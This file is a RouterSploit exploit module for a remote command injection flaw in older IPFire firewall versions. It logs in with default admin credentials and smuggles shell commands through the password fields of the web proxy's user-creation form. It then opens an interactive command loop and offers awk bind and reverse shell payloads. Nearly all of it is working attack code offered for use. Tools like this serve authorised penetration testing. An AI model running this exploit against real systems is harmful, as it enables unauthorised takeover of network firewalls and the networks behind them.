from routersploit import (
    exploits,
    print_error,
    print_success,
    print_status,
    print_info,
    random_text,
    http_request,
    mute,
    validators,
    shell,
)


class Exploit(exploits.Exploit):
    """
    Exploit implementation for IPFire < 2.19 Core Update 101  Remote Code Execution vulnerability.
    If the target is vulnerable, command loop is invoked that allows executing commands on operating system level.
    """
    __info__ = {
        'name': 'IPFire Proxy RCE',
        'description': 'Module exploits IPFire < 2.19 Core Update 101 Remote Code Execution vulnerability which allows executing command on operating system level.',
        'authors': [
            'Yann CAM',  # vulnerability discovery
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
        ],
        'references': [
            'https://www.exploit-db.com/exploits/39765/',
            'http://www.ipfire.org/news/ipfire-2-19-core-update-101-released',
        ],
        'devices': [
            'IPFire < 2.19 Core Update 101',
        ]
    }

    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)
    port = exploits.Option(444, 'Target Port')

    username = exploits.Option('admin', 'Username to log in with')
    password = exploits.Option('admin', 'Password to log in with')

    def run(self):
        if self.check():
            print_success("Target is vulnerable")
            print_status("Invoking command loop...")
            shell(self,
                  architecture="generic",
                  method="awk",
                  payloads=["awk_bind_tcp", "awk_reverse_tcp"])
        else:
            print_error("Target is not vulnerable")

    def command_loop(self):
        while 1:
            cmd = raw_input("cmd > ")

            if cmd in ['exit', 'quit']:
                return

            print_info(self.execute(cmd))

    @mute
    def execute(self, cmd):
        url = "{}:{}/cgi-bin/proxy.cgi".format(self.target, self.port)

        headers = {u'Content-Type': u'application/x-www-form-urlencoded',
                   u'Referer': url}

        payload = "||{};#".format(cmd)

        data = {"NCSA_USERNAME": random_text(12),
                "NCSA_GROUP": "standard",
                "NCSA_PASS": payload,
                "NCSA_PASS_CONFIRM": payload,
                "SUBMIT": "Create+user",
                "ACTION": "Add",
                "NCSA_MIN_PASS_LEN": "6"}

        response = http_request(method="POST", url=url, headers=headers, data=data, auth=(self.username, self.password), timeout=10)
        if response is None:
            return ""

        end = response.text.find("<!DOCTYPE html>")

        if end:
            return response.text[:end]

        return ""

    @mute
    def check(self):
        mark = random_text(32)
        cmd = "echo {}".format(mark)

        response = self.execute(cmd)

        if mark in response:
            return True  # target is vulnerable

        return False  # target is not vulnerable
